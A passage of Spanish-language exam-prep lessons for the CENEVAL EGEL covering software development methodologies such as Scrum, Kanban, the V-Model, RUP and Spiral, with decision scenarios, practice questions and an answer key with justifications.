FASE DE CIERRE    │\n│   (Predictiva / RUP)     │    (Adaptativa / Scrum)  │   (Predictiva / QA)   │\n├──────────────────────────┼──────────────────────────┼───────────────────────┤\n│ • Caso de negocio formal │ • Sprints iterativos de  │ • Auditoría de        │\n│ • Aprobación presupuestal│   2 semanas.             │   seguridad externa.  │\n│   corporativa (BAC).     │ • Tableros e historias   │ • Pruebas de          │\n│ • Arquitectura base y    │   de usuario con PO.     │   conformidad legal.  │\n│   estándares de interfaz.│ • TDD y CI/CD continuo.  │ • Aceptación formal.  │\n└──────────────────────────┴──────────────────────────┴───────────────────────┘\n```\n\n* **Ventaja del Modelo Híbrido**: Ofrece a la dirección corporativa certidumbre presupuestal y alineación estratégica, mientras concede al equipo técnico la flexibilidad y velocidad del desarrollo iterativo.\n* **Riesgo Crítico**: El *\"Frankenstein metodológico\"*: exigir estimaciones de costos rígidas y alcances inmutables pero pretender trabajar con eventos de Scrum sin empoderar al Product Owner.\n\n---\n\n## 5. Trampas Críticas CENEVAL EGEL\n\n1. **Trampa: Recomendar Cascada para proyectos de innovación comercial o startups**.\n   * *La clave*: Si el caso menciona que la empresa *\"desea lanzar un producto al mercado para validar el modelo de negocio con usuarios reales y los requerimientos son inciertos\"*, Cascada es un suicidio técnico. Se debe seleccionar un marco ágil (**Scrum** o **Kanban**).\n2. **Trampa: Recomendar Scrum para un software médico que controla un marcapasos con hardware fijo**.\n   * *La clave*: Los sistemas embebidos de seguridad crítica con requerimientos estandarizados y auditorías regulatorias rigurosas requieren una correspondencia exacta entre diseño y pruebas antes de operar $\\rightarrow$ **Modelo en V** o **RUP**.\n3. **Trampa: Suponer que Kanban es mejor que Scrum para nuevos productos completos**.\n   * *La clave*: Scrum es superior para estructurar el desarrollo de productos nuevos con visión estratégica (*Product Goal*). Kanban es ideal para **mantenimiento correctivo continuo, soporte técnico y operaciones (DevOps)** donde las tareas llegan en flujo ininterrumpido sin poder empaquetarse en sprints cerrados.\n\n---\n\n## 6. Autoevaluación Formativa\n\n### Reactivo 1\nUna institución financiera multinacional decide renovar su plataforma de comercio algorítmico de alta frecuencia. Los directivos de riesgo establecen que el software no podrá salir a producción sin una certificación formal previa de seguridad y cumplimiento normativo emitida por la comisión bancaria nacional, la cual exige auditorías de trazabilidad documental completa entre cada módulo y sus casos de prueba. Adicionalmente, el equipo de desarrollo se enfrentará al desafío técnico de reducir la latencia de procesamiento de órdenes a menos de 5 microsegundos, para lo cual requieren evaluar múltiples alternativas de hardware y compiladores especializados mediante prototipos sucesivos. ¿Qué modelo de ciclo de vida es el más idóneo para este contexto?\n\nA) Scrum con sprints de una semana  \nB) Rational Unified Process (RUP) o Modelo en Espiral de Boehm  \nC) Desarrollo Rápido de Aplicaciones (RAD) sin documentación  \nD) Kanban con límite WIP unitario  \n\n### Reactivo 2\nUn equipo de soporte y mantenimiento de sistemas recibe continuamente tickets de incidencias, solicitudes de cambio menores y peticiones de soporte de diferentes áreas de un corporativo. La demanda es impredecible y no es posible planificar un trabajo cerrado a dos o tres semanas vista, ya que una incidencia crítica del sistema de facturación debe ser atendida en cuestión de horas sin esperar a la finalización de un ciclo preestablecido. ¿Qué enfoque metodológico se adapta de forma natural a esta dinámica operativa?\n\nA) Cascada con firma formal de actas por cada ticket  \nB) Scrum con sprints rígidos de cuatro semanas  \nC) Método Kanban con límites WIP y gestión continua del flujo de trabajo  \nD) RUP con las cuatro fases de desarrollo completas  \n\n### Reactivo 3\nAl comparar la filosofía de planificación entre un modelo predictivo (como Cascada) y un modelo adaptativo (como Scrum), ¿cuál es la afirmación matemáticamente y conceptualmente correcta?\n\nA) En los modelos predictivos el costo y el tiempo son fijos, mientras que el alcance es estimado; en Scrum el alcance es fijo y el tiempo es variable  \nB) En los modelos predictivos el alcance se mantiene fijo y se estiman el tiempo y el costo; en los modelos ágiles el tiempo y el costo son fijos y el alcance es la variable estimada que se adapta  \nC) Ambos modelos fijan el alcance, el costo y el tiempo de manera inmutable al inicio del proyecto  \nD) Las metodologías ágiles rechazan cualquier tipo de estimación o métrica de avance  \n\n---\n*Las justificaciones detalladas y el análisis paso a paso de distractores se encuentran en la lección final de soluciones de la subárea 4.3.*\n","title":"4.3.4 Comparativa y criterios de selección metodológica: Modelos predictivos vs ágiles vs híbridos"},{"children":[],"contentMd":"# 4.3.5 Escenarios Profesionales de Toma de Decisiones en Metodologías de Desarrollo\n\nEn las preguntas más desafiantes del CENEVAL EGEL sobre metodologías de desarrollo, se evalúa la madurez del ingeniero para diagnosticar disfunciones metodológicas organizacionales, resolver conflictos de roles y seleccionar el ciclo de vida apropiado bajo restricciones operacionales del mundo real.\n\n---\n\n## 1. Escenario 1: Diagnóstico de la Patología \"ScrumBut\" (*Agile in Name Only*)\n\n### Planteamiento del Problema\nUna empresa de software presume haber \"adoptado Scrum\", pero su operación diaria presenta los siguientes síntomas:\n1. El antiguo Gerente de Proyecto fue renombrado como **Scrum Master**, pero en la reunión diaria (*Daily*) pasa lista, exige a cada programador un reporte pormenorizado de horas trabajadas y les asigna unilateralmente las tareas de la jornada.\n2. El **Product Owner** no tiene tiempo para reunirse con el equipo porque atiende operaciones comerciales; asiste únicamente a la última media hora de la *Sprint Review* para criticar el incremento y exigir cambios que no estaban en las historias de usuario.\n3. A mitad de cada Sprint, el Director General envía correos con requerimientos de \"urgencia extrema\" que los desarrolladores deben programar de inmediato, abandonando las tareas acordadas en la planificación.\n4. Al terminar el ciclo, no existe una *Definition of Done (DoD)* formal: el código se sube a producción con errores conocidos que son documentados en una hoja de cálculo como \"incidencias menores a corregir después\".\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                          DIAGNÓSTICO DE PATOLOGÍAS                          │\n├──────────────────────┬─────────────────────────────┬────────────────────────┤\n│ Práctica Observada   │ Violación Metodológica      │ Intervención Correctiva│\n├──────────────────────┼─────────────────────────────┼────────────────────────┤\n│ SM asigna tareas y   │ El SM debe ser un líder     │ Capacitar al SM en     │\n│ exige cuentas.       │ servicial, no un jefe de    │ liderazgo servicial.   │\n│                      │ mando y control.            │ Autoorganización dev.  │\n├──────────────────────┼─────────────────────────────┼────────────────────────┤\n│ Intromisión de tareas│ Se viola el compromiso del  │ El SM debe proteger al │\n│ a mitad del Sprint.  │ Sprint Goal inmutable.      │ equipo de injerencias. │\n│                      │                             │ PO canaliza peticiones │\n├──────────────────────┼─────────────────────────────┼────────────────────────┤\n│ PO ausente.          │ Falta de colaboración y     │ Nombrar un PO con      │\n│                      │ transparencia continua.     │ tiempo y dedicación.   │\n├──────────────────────┼─────────────────────────────┼────────────────────────┤\n│ Ausencia de DoD      │ Entrega de deuda técnica;   │ Redactar y consensuar  │\n│ (código con bugs).   │ falso incremento ágil.      │ una DoD rigurosa.      │\n└──────────────────────┴─────────────────────────────┴────────────────────────┘\n```\n\n**Conclusión Profesional**: La organización opera bajo un modelo tradicional de micro-gestión disfrazado con la terminología de Scrum (\"ScrumBut\"). Para recuperar la agilidad real, se debe restituir la autoridad de los Developers para autoorganizarse, empoderar a un PO dedicado y hacer respetar la inviolabilidad del *Sprint Goal*.\n\n---\n\n## 2. Escenario 2: La Fuga de Capacidad por Soporte Operativo (Scrum vs Kanban vs Scrumban)\n\n### Planteamiento del Problema\nUn equipo Scrum de 7 desarrolladores tiene un compromiso de velocidad de 40 puntos de historia por sprint de dos semanas. Sin embargo, en los últimos tres sprints solo han logrado terminar entre 18 y 22 puntos:\n* **Causa Raíz**: Durante el sprint entran permanentemente tickets de bugs críticos de sistemas legados en producción que el equipo debe atender de inmediato.\n* Los desarrolladores sufren constantes cambios de contexto y la planificación del sprint se vuelve ficticia e inalcanzable.\n\n```\n                   OPCIÓN B: EQUIPO DIVIDIDO (Inviable si N=7)\n                ┌───────────────────────────────────────────────┐\n                │ 4 devs: Scrum (Nuevas features)              │\n                │ 3 devs: Kanban (Soporte y bugs de producción)│\n                └───────────────────────────────────────────────┘\n                                       ▼\n                   OPCIÓN C: ADOPCIÓN DE SCRUMBAN / SWIMLANE\n  ┌───────────────────────────────────────────────────────────────────────────┐\n  │ TABLERO CON CARRIL RÁPIDO DE EXPEDICIÓN (Expedite Swimlane)               │\n  ├───────────────┬───────────────────────────┬───────────────────────────────┤\n  │ EXPEDITE (WIP:1)│ [BUG CRÍTICO PROD]      │ [En despliegue hotfix]        │\n  ├───────────────┼───────────────────────────┼───────────────────────────────┤\n  │ ESTÁNDAR      │ [Historia Sprint 1]       │ [Historia Sprint 2]           │\n  │ (Features)    │                           │                               │\n  └───────────────┴───────────────────────────┴───────────────────────────────┘\n```\n\n### Alternativas de Decisión y Selección\n\n1. **Alternativa A: Ignorar los bugs de producción hasta el siguiente sprint**:\n   * *Impacto*: Inviable para el negocio; las caídas de producción acarrean multas y pérdida de clientes.\n2. **Alternativa B: Dividir al equipo en dos sub-equipos permanentes**:\n   * *Impacto*: Con solo 7 personas, crear un equipo de 3 para soporte crea desmotivación (*\"los programadores de segunda categoría que solo arreglan código viejo\"*) y eleva el riesgo de silos de conocimiento.\n3. **Alternativa C: Implementar un Modelo Híbrido Scrumban con Carril Rápido (*Expedite Lane*)**:\n   * **Solución Óptima**:\n     * Reservar una capacidad fija del sprint (ej. 25% o 10 puntos) como colchón (*buffer*) para imprevistos de soporte.\n     * En el tablero, crear un carril exclusivo de **Expedición (*Expedite Swimlane*)** con un límite estricto de **WIP = 1** para atender emergencias reales de producción.\n     * Si no hay emergencias, la capacidad reservada se utiliza para adelantar ítems del backlog o refactorizar deuda técnica.\n\n---\n\n## 3. Escenario 3: Disyuntiva de Selección de Metodología para un Sistema de Piloto Automático\n\n### Planteamiento del Problema\nUna compañía de transporte aéreo autónomo desarrolla el software de navegación y control de vuelo de un dron de pasajeros. Las características del entorno son:\n* Una falla de software provocaría pérdidas de vidas humanas (Criticidad extrema / Misión crítica).\n* El sistema debe certificarse bajo la norma aeroespacial **DO-178C (Nivel de Seguridad DAL A)**, la cual exige trazabilidad bidireccional exhaustiva entre cada requerimiento funcional de alto nivel, el código en ensamblador/C, y las pruebas de cobertura MC/DC aprobadas al 100%.\n* Los algoritmos de fusión de sensores inerciales y GPS requieren un hardware propietario con interfaces físicas inmutables.\n\n```\n                            ANÁLISIS DE FACTORES\n\n  Criticidad Extrema (Vidas) ──────────┐\n  Regulación DO-178C / Trazabilidad ───┼──► SELECCIÓN: MODELO EN V\n  Hardware Fijo e Inmutable ───────────┘    (Verificación y Validación\n                                             formal en cada nivel)\n```\n\n### Análisis Metodológico\n* ¿Por qué descartar Scrum/XP puro?: Scrum prioriza la respuesta al cambio sobre el seguimiento de un plan y el software funcionando sobre la documentación extensa. En un sistema DAL A, la ausencia de especificaciones formales y matrices de trazabilidad pre-planificadas impide por completo la certificación aérea obligatoria.\n* **Elección Óptima**: **Modelo en V (*V-Model*)**. Permite diseñar las pruebas de aceptación y verificación en paralelo a las especificaciones de diseño, asegurando el rigor matemático y la trazabilidad formal requerida para la certificación de vidas humanas.\n\n---\n\n## 4. Matriz Maestra de Toma de Decisiones en Metodologías (Subárea 4.3)\n\n| Si en el examen se describe... | Y la restricción u objetivo es... | La decisión metodológica correcta es... |\n| :--- | :--- | :--- |\n| Producto nuevo con alta incertidumbre comercial y necesidad de validar mercado rápido. | Entregar valor en iteraciones cortas recibiendo feedback constante. | **Scrum** (Sprints de 1 a 2 semanas con un Product Owner empoderado). |\n| Sistema aeroespacial, automotriz o médico de seguridad crítica con hardware fijo. | Cumplir regulaciones de trazabilidad estricta y certificar pruebas tempranas. | **Modelo en V** (Verificación y validación simétrica en cada fase). |\n| Proyecto masivo con tecnologías experimentales de alto riesgo y presupuesto elevado. | Evaluar riesgos en cada ciclo mediante prototipos antes de gastar más dinero. | **Modelo en Espiral de Barry Boehm**. |\n| Plataforma empresarial con contratos de arquitectura complejos y componentes distribuidos. | Mitigar riesgos arquitectónicos temprano y fijar una base ejecutable. | **RUP** (completando con éxito la fase de *Elaboración*). |\n| Equipo saturado por soporte continuo, incidencias en producción y peticiones variables. | Optimizar el flujo de trabajo sin planificaciones fijas por sprint. | **Método Kanban** con límites WIP y métricas de Lead/Cycle Time. |\n| Requerimiento de elevar drásticamente la calidad interna del código y erradicar bugs. | Crear código limpio probado exhaustivamente con diseño simple. | **Extreme Programming (XP)** (TDD, Pair Programming, CI continua). |\n\n---\n\n## 5. Autoevaluación Formativa\n\n### Reactivo 1\nEn una empresa de desarrollo, el nuevo gerente de operaciones observa que los desarrolladores asisten a una reunión diaria de pie (*Daily*) de 45 minutos donde cada miembro justifica sus horas de trabajo ante el Scrum Master, quien anota en una libreta las asignaciones que cada persona debe completar durante el día. Además, cuando un programador termina una tarea, debe esperar a que el Scrum Master le asigne la siguiente. ¿Qué disfunción metodológica de Scrum se está presentando en este equipo?\n\nA) Falta de aplicación de la técnica de Planning Poker en la estimación de historias  \nB) Violación del principio de autoorganización del equipo y tergiversación del rol del Scrum Master como jefe de proyecto tradicional  \nC) Omisión de la fase de Elaboración en el ciclo de vida de Scrum  \nD) Incumplimiento del límite de trabajo en progreso (WIP) establecido en la Ley de Brooks  \n\n### Reactivo 2\nUna startup de biotecnología desea crear un portal web para conectar pacientes con ensayos clínicos de medicamentos experimentales. El modelo de negocio nunca se ha implementado en el país, las regulaciones gubernamentales sobre consentimientos informados digitales están cambiando mes a mes y los fundadores necesitan lanzar un primer Producto Mínimo Viable (MVP) en menos de seis semanas para demostrar tracción ante los inversionistas de capital semilla. ¿Qué metodología de desarrollo debe seleccionarse para maximizar las probabilidades de éxito?\n\nA) Modelo en Cascada Clásico, para asegurar que todas las fases documentales se aprueben antes de programar  \nB) Modelo en V, para estructurar los casos de prueba de integración de forma anticipada  \nC) Marco Ágil Scrum, para construir e iterar de forma incremental respondiendo a los cambios regulatorios continuos  \nD) RUP completo, ejecutando rigurosamente las cuatro fases formales secuenciales  \n\n### Reactivo 3\nUn equipo de ingeniería implementa Scrum en iteraciones de tres semanas. Durante el día 8 del sprint, el Product Owner descubre que una nueva normativa fiscal entra en vigor la próxima semana, lo que deja obsoletas todas las historias de usuario relacionadas con el cálculo de impuestos que conformaban el *Sprint Goal* original. Tras dialogar con los desarrolladores, se concluye que el objetivo del Sprint ya no tiene ningún sentido ni valor para el negocio. Según la Guía de Scrum 2020, ¿cuál es la acción formal que procede en este escenario?\n\nA) El Scrum Master debe reasignar nuevas historias de usuario para completar el tiempo del sprint  \nB) Los Developers deben continuar programando las historias originales para no afectar la velocidad del equipo  \nC) El Product Owner tiene la autoridad exclusiva para cancelar el Sprint de forma anticipada  \nD) El equipo debe extender la duración del Sprint dos semanas adicionales para absorber el cambio normativo  \n\n---\n*Las justificaciones detalladas y el análisis paso a paso de distractores se encuentran en la lección final de soluciones de la subárea 4.3.*\n","title":"4.3.5 Escenarios profesionales de toma de decisiones en metodologías de desarrollo"},{"children":[],"contentMd":"# 4.3.6 Repaso Rápido y Síntesis Metodológica: Metodologías de Desarrollo de Software\n\nEsta lección condensa de forma estructurada los conceptos esenciales, matrices de contraste y reglas normativas necesarias para dominar los 22 reactivos de la **Subárea 4.3: Metodologías de Desarrollo de Software** en el CENEVAL EGEL.\n\n---\n\n## 1. Cuadro Sinóptico de Modelos Predictivos vs Adaptativos\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                    ESPECTRO METODOLÓGICO DE LA INGENIERÍA                   │\n├──────────────────────────────────────┬──────────────────────────────────────┤\n│       PARADIGMA PREDICTIVO           │         PARADIGMA ADAPTATIVO         │\n├──────────────────────────────────────┼──────────────────────────────────────┤\n│ • Cascada, Modelo en V, RUP, Espiral │ • Scrum, Kanban, Extreme Programming │\n│ • Alcance FIJO; Tiempo/Costo ESTIMADO│ • Tiempo/Costo FIJO; Alcance ESTIMADO│\n│ • Requerimientos estables y claros   │ • Alta incertidumbre y cambio rápido │\n│ • Foco en planes y documentación     │ • Foco en software funcionando       │\n│ • Gestión formal de cambios (CCB)    │ • Inspección y adaptación continua   │\n└──────────────────────────────────────┴──────────────────────────────────────┘\n```\n\n---\n\n## 2. Modelos Tradicionales / Predictivos Clave\n\n| Modelo | Rasgo Distintivo Único | Hito / Momento Crítico | Cuándo Usarlo en el EGEL |\n| :--- | :--- | :--- | :--- |\n| **Cascada (*Waterfall*)** | Secuencialidad estricta y lineal por fases. | Puertas de fase documentales (*Gateways*). | Requisitos 100% estables, contratos cerrados, interfaces de hardware congeladas. |\n| **Modelo en V** | Simetría directa entre fases de desarrollo y niveles de prueba. | **Las pruebas se planifican en paralelo a la especificación de diseño**. | Sistemas de misión crítica (aeroespacial, médico, automotriz) con alta regulación. |\n| **Espiral (Boehm)** | Ciclos evolutivos centrados en **análisis y resolución de riesgos**. | Construcción de prototipos en el cuadrante 2 antes de autorizar inversión. | Megaproyectos complejos con tecnologías de alto riesgo técnico. |\n| **RUP** | Dirigido por casos de uso, centrado en arquitectura, iterativo. | **Fase de Elaboración**: construye la Línea Base de la Arquitectura Ejecutable (LCA). | Proyectos empresariales grandes que requieren solidez arquitectónica previa al código. |\n\n---\n\n## 3. Resumen Estructural de Scrum (Scrum Guide 2020)\n\n### Los 3 Roles (Accountabilities)\n* **Product Owner (PO)**: Maximiza el valor del producto; dueño exclusivo del Product Backlog; define QUÉ se hace; una sola persona.\n* **Scrum Master (SM)**: Líder servicial; promueve Scrum; remueve impedimentos organizacionales; protege al equipo; NO es jefe.\n* **Developers**: Profesionales multidisciplinarios que construyen el Incremento; deciden CÓMO se hace; autoorganizados; estiman el esfuerzo.\n\n### Los 5 Eventos (Timeboxes)\n* **Sprint**: Contenedor (1 a 4 semanas de duración fija).\n* **Sprint Planning**: Define el *Sprint Goal* y el plan de trabajo (hasta 8 h para 1 mes).\n* **Daily Scrum**: Inspección diaria del progreso hacia el Sprint Goal (**15 minutos estrictos**).\n* **Sprint Review**: Inspección del **Incremento de Software** con los stakeholders (hasta 4 h).\n* **Sprint Retrospective**: Inspección del **Equipo, personas, procesos y herramientas** (hasta 3 h).\n\n### Los 3 Artefactos y sus Compromisos Obligatorios\n1. **Product Backlog** $\\longrightarrow$ Compromiso: **Product Goal (Objetivo del Producto)**.\n2. **Sprint Backlog** $\\longrightarrow$ Compromiso: **Sprint Goal (Objetivo del Sprint)**.\n3. **Incremento** $\\longrightarrow$ Compromiso: **Definition of Done (Definición de Terminado - DoD)**.\n\n---\n\n## 4. Kanban y Extreme Programming (XP)\n\n### Kanban (Lean Software)\n* **Filosofía**: Sistema de tracción (*Pull*) continuo sin iteraciones fijas obligatorias.\n* **Práctica Central**: **Limitar el Trabajo en Progreso (*WIP Limits*)** para exponer cuellos de botella.\n* **Ley de Little**:\n  $$CT = \\frac{WIP}{TH}$$\n  *(Para reducir el tiempo de ciclo $CT$, se debe disminuir el $WIP$).*\n* **Lead Time**: Tiempo desde la solicitud del cliente hasta la entrega en producción.\n* **Cycle Time**: Tiempo desde que se inicia el desarrollo hasta que se completa la tarea.\n* **Diagrama CFD**: Distancia vertical = $WIP$; distancia horizontal = *Cycle Time*; líneas divergentes = cuello de botella.\n\n### Extreme Programming (XP)\n* **Valores**: Comunicación, Simplicidad, Retroalimentación, Coraje, Respeto.\n* **Prácticas Técnicas Críticas**:\n  * **Pair Programming**: Conductor (*Driver* - código inmediato) y Navegante (*Navigator* - visión estratégica).\n  * **TDD**: Ciclo *Red-Green-Refactor*.\n  * **Integración Continua**: Integración al repositorio múltiples veces por día contra tests.\n  * **Propiedad Colectiva**: Cualquier ingeniero puede modificar y refactorizar cualquier parte del código.\n  * **Cliente en el Sitio**: Interacción cara a cara continua con el usuario de negocio.\n\n---\n\n## 5. Checklist Mental para Preguntas de Metodologías en el EGEL\n\n1. ¿El caso menciona hardware fijo, vidas humanas o regulaciones estrictas de trazabilidad? $\\rightarrow$ **Modelo en V**.\n2. ¿Menciona prototipos iterativos para mitigar incertidumbre de hardware/red? $\\rightarrow$ **Espiral de Boehm**.\n3. ¿El cliente quiere cambios continuos y un producto lanzado en semanas? $\\rightarrow$ **Scrum**.\n4. ¿Es un equipo de soporte con flujo continuo de tickets que no encajan en sprints? $\\rightarrow$ **Kanban**.\n5. ¿Quién puede cancelar un Sprint si el Sprint Goal queda obsoleto? $\\rightarrow$ **Únicamente el Product Owner**.\n6. ¿Quién tiene la última palabra sobre las horas o puntos de historia de una tarea? $\\rightarrow$ **Únicamente los Developers**.\n7. ¿Se pueden debatir los procesos de equipo frente a los clientes externos? $\\rightarrow$ **No**, eso es en la **Retrospectiva** (interna); en la **Review** solo se evalúa el incremento funcional.\n","title":"4.3.6 Repaso rápido y síntesis metodológica: Subárea 4.3"},{"children":[],"contentMd":"# 4.3.7 Solucionario Analítico y Justificaciones Detalladas: Subárea 4.3\n\nEste documento presenta la resolución teórica exhaustiva, las citas a los marcos metodológicos oficiales (Guía de Scrum 2020, IEEE, Lean/Kanban, XP) y el análisis formal de distractores para todos los reactivos de la **Subárea 4.3: Metodologías de Desarrollo de Software**.\n\n---\n\n## 1. Soluciones de la Lección 4.3.1 (Modelos Predictivos: Cascada, V, Espiral y RUP)\n\n### Reactivo 1\n* **Respuesta Correcta**: **C) Modelo en V (*V-Model*)**\n* **Justificación Teórica**:\n  El rasgo definitorio del **Modelo en V** es la simetría directa entre las fases de desarrollo y los niveles de prueba correspondientes, exigiendo que los casos de prueba de cada nivel (unitarias, integración, sistema, aceptación) se planifiquen y diseñen formalmente en paralelo a los documentos de especificación técnica antes de escribir el código fuente. Esto cumple exactamente la exigencia contractual de la agencia espacial.\n* **Análisis de Distractores**:\n  * *Scrum* y *RAD* rechazan la congelación contractual previa y la documentación exhaustiva anticipada.\n  * *Cascada Clásico* posterga el diseño y ejecución de pruebas hasta la fase final del proyecto de forma lineal, sin la simetría de diseño concurrente del Modelo en V.\n\n### Reactivo 2\n* **Respuesta Correcta**: **B) Modelo en Espiral de Barry Boehm**\n* **Justificación Teórica**:\n  El ciclo de vida en **Espiral** está guiado prioritariamente por la **gestión y mitigación sistemática de riesgos** en cada ciclo mediante la construcción de prototipos experimentales en su segundo cuadrante (*Análisis de Riesgos*). Ningún otro modelo sitúa el análisis formal de riesgos y prototipos en el centro operativo de cada iteración.\n* **Análisis de Distractores**:\n  * *XP* es una metodología ágil orientada a software de negocio con requerimientos cambiantes mediante TDD, no un modelo de espiral formal de prototipado de riesgos de hardware.\n\n### Reactivo 3\n* **Respuesta Correcta**: **B) Elaboración (*Elaboration*)**\n* **Justificación Normativa (RUP)**:\n  En Rational Unified Process, la fase de **Elaboración** tiene como objetivo fundamental mitigar los riesgos técnicos de mayor impacto y construir la **Línea Base de la Arquitectura Ejecutable (*Architectural Baseline*)**. El hito formal que concluye con éxito esta fase se denomina *Lifecycle Architecture Milestone (LCA)*.\n* **Análisis de Distractores**:\n  * *Inicio (Inception)* concluye con el hito *Lifecycle Objectives (LCO)* evaluando la viabilidad comercial.\n  * *Construcción* desarrolla masivamente las funcionalidades sobre la arquitectura ya estabilizada.\n  * *Transición* entrega el sistema a los usuarios finales en producción.\n\n---\n\n## 2. Soluciones de la Lección 4.3.2 (Manifiesto Ágil y Scrum Guide 2020)\n\n### Reactivo 1\n* **Respuesta Correcta**: **C) Explicar amablemente al gerente de ventas que cualquier nuevo requerimiento debe ser canalizado exclusivamente a través del Product Owner, continuando con las actividades del Sprint Goal**\n* **Justificación Metodológica (Scrum Guide 2020)**:\n  El Product Owner es la **única persona** facultada para gestionar el alcance del producto y ordenar el Product Backlog. Los desarrolladores están comprometidos con el *Sprint Goal*; permitir que interesados externos (*stakeholders*) interrumpan el trabajo e inyecten tareas no planificadas destruye el foco del equipo y viola las reglas de Scrum. El desarrollador debe canalizar la petición al PO.\n* **Análisis de Distractores**:\n  * El Scrum Master no es un gerente de asignaciones.\n  * Suspender el sprint solo compete al PO si el Sprint Goal queda obsoleto.\n\n### Reactivo 2\n* **Respuesta Correcta**: **C) Los Developers, dado que son los profesionales que ejecutarán directamente el trabajo técnico**\n* **Justificación Normativa (Scrum Guide 2020)**:\n  La Guía de Scrum establece textualmente que: *\"Las personas que hacen el trabajo son las únicas responsables del dimensionamiento y la estimación del esfuerzo\"*. El Product Owner puede influir explicando los requerimientos y negociando trade-offs, pero **no tiene autoridad** para imponer una estimación arbitraria a los desarrolladores.\n* **Análisis de Distractores**:\n  * Asignar la estimación al PO o al Scrum Master viola el principio fundamental de autoorganización y empoderamiento de los Developers.\n\n### Reactivo 3\n* **Respuesta Correcta**: **B) No considerarlo terminado, no presentarlo en la Review y regresarlo al Product Backlog para que el PO decida su priorización futura**\n* **Justificación Normativa (Scrum Guide 2020)**:\n  Si un ítem del backlog no satisface el 100% de los criterios fijados en la **Definition of Done (DoD)**, no puede considerarse terminado (*Done*), **no puede desplegarse a producción y no debe presentarse formalmente en la Sprint Review**. Darlo por terminado a medias generaría deuda técnica oculta y destruiría la transparencia del incremento.\n* **Análisis de Distractores**:\n  * Modificar a la baja la DoD para salir del paso corrompe los estándares de calidad del producto.\n  * En Scrum no existe el concepto de \"historias terminadas al 85%\": o cumple la DoD completa o no está terminada.\n\n---\n\n## 3. Soluciones de la Lección 4.3.3 (Kanban, WIP, CFD y Extreme Programming)\n\n### Reactivo 1\n* **Respuesta Correcta**: **C) Respetar el límite WIP de pruebas, abstenerse de enviar las tareas y colaborar activamente con el equipo de control de calidad para desatorar las historias en curso antes de jalar nuevo trabajo (*Stop starting, start finishing*)**\n* **Justificación Lean / Kanban**:\n  En un sistema de tracción (*Pull System*), los límites de Trabajo en Progreso ($WIP$) son reglas duras diseñadas para impedir la acumulación de inventario intermedio. Si la columna de pruebas está saturada, empujar más tareas solo agravará el cuello de botella. La conducta Lean correcta es detener la producción de nuevas tareas y acudir en ayuda del área saturada para liberar el flujo.\n* **Análisis de Distractores**:\n  * Aumentar el límite WIP arbitrariamente para no frenar la programación destruye el propósito de Kanban de exponer los cuellos de botella.\n\n### Reactivo 2\n* **Respuesta Correcta**: **B) Programación en Parejas (*Pair Programming*); Conductor (*Driver*) y Navegante (*Navigator*)**\n* **Justificación Técnica (XP)**:\n  En Extreme Programming, la programación en pares involucra dos roles continuos:\n  * El **Conductor (*Driver*)**: Opera el teclado y escribe las líneas de código y pruebas inmediatas.\n  * El **Navegante (*Navigator*)**: Observa críticamente, detecta defectos sintácticos y conceptuales, piensa en la arquitectura global y anticipa los siguientes casos de prueba.\n\n### Reactivo 3\n* **Respuesta Correcta**: **B) Se está produciendo una acumulación descontrolada de trabajo en progreso ($WIP$), lo que provocará un aumento severo en el tiempo promedio de entrega (*Lead Time*)**\n* **Justificación Matemática (Ley de Little y CFD)**:\n  En un Diagrama de Flujo Acumulado, la distancia vertical entre dos estados mide el $WIP$. Si la distancia vertical crece de forma divergente, el inventario de trabajo sin terminar se está disparando. De acuerdo con la Ley de Little ($CT = WIP / TH$), a mayor $WIP$ con una tasa de salida fija, el tiempo promedio de ciclo y de entrega (*Lead Time*) aumenta proporcionalmente, lo que indica un sistema congestionado.\n\n---\n\n## 4. Soluciones de la Lección 4.3.4 (Comparativa y Selección Metodológica)\n\n### Reactivo 1\n* **Respuesta Correcta**: **B) Rational Unified Process (RUP) o Modelo en Espiral de Boehm**\n* **Justificación Profesional**:\n  El escenario presenta una combinación de alta exigencia regulatoria formal (trazabilidad y auditorías bancarias obligatorias) con una incertidumbre técnica extrema en hardware y latencia (\u003c 5 µs). RUP o la Espiral de Boehm permiten conjugar la gobernanza y arquitectura robusta con ciclos tempranos de prototipos para mitigar los riesgos de latencia antes de comprometer la construcción final.\n* **Análisis de Distractores**:\n  * Los marcos ágiles ligeros sin documentación no satisfacen las exigencias de certificación bancaria descritas en el enunciado.\n\n### Reactivo 2\n* **Respuesta Correcta**: **C) Método Kanban con límites WIP y gestión continua del flujo de trabajo**\n* **Justificación Profesional**:\n  Los equipos de mantenimiento operativo y soporte técnico operan con una tasa de llegada de eventos imprevista e inmediata. La cadencia por Sprints fijos de Scrum resulta artificial y disfuncional cuando un bug de producción debe resolverse en 2 horas sin esperar al final del sprint. Kanban, al ser un flujo continuo por eventos con priorización dinámica, es el enfoque idóneo.\n\n### Reactivo 3\n* **Respuesta Correcta**: **B) En los modelos predictivos el alcance se mantiene fijo y se estiman el tiempo y el costo; en los modelos ágiles el tiempo y el costo son fijos y el alcance es la variable estimada que se adapta**\n* **Justificación Teórica**:\n  El principio del \"Triángulo Invertido de Planificación\" estipula que en Cascada el alcance está congelado por contrato y el cronograma/presupuesto se derivan de este. En contraste, en Scrum el tiempo (sprint de duración fija) y el costo (equipo con tamaño fijo) son constantes, adaptando el alcance mediante priorización continua del Product Backlog.\n\n---\n\n## 5. Soluciones de la Lección 4.3.5 (Escenarios de Toma de Decisiones)\n\n### Reactivo 1\n* **Respuesta Correcta**: **B) Violación del principio de autoorganización del equipo y tergiversación del rol del Scrum Master como jefe de proyecto tradicional**\n* **Justificación Teórica**:\n  El Scrum Master no asigna tareas ni supervisa horas. La reunión diaria (*Daily*) es de 15 minutos para que los propios Developers inspeccionen su progreso hacia el Sprint Goal y se autoorganicen. Convertir la Daily en un pase de lista jerárquico es la disfunción clásica \"ScrumBut\" donde se anula la agilidad real.\n\n### Reactivo 2\n* **Respuesta Correcta**: **C) Marco Ágil Scrum, para construir e iterar de forma incremental respondiendo a los cambios regulatorios continuos**\n* **Justificación Profesional**:\n  Con un modelo de negocio desconocido, regulaciones en constante cambio y la urgencia de validar un MVP en 6 semanas ante inversionistas, cualquier modelo predictivo (Cascada o RUP completo) fracasará por su incapacidad de absorber la volatilidad de los requerimientos. Scrum permite entregar software funcional en iteraciones cortas desde el primer sprint.\n\n### Reactivo 3\n* **Respuesta Correcta**: **C) El Product Owner tiene la autoridad exclusiva para cancelar el Sprint de forma anticipada**\n* **Justificación Normativa (Scrum Guide 2020)**:\n  La regla oficial 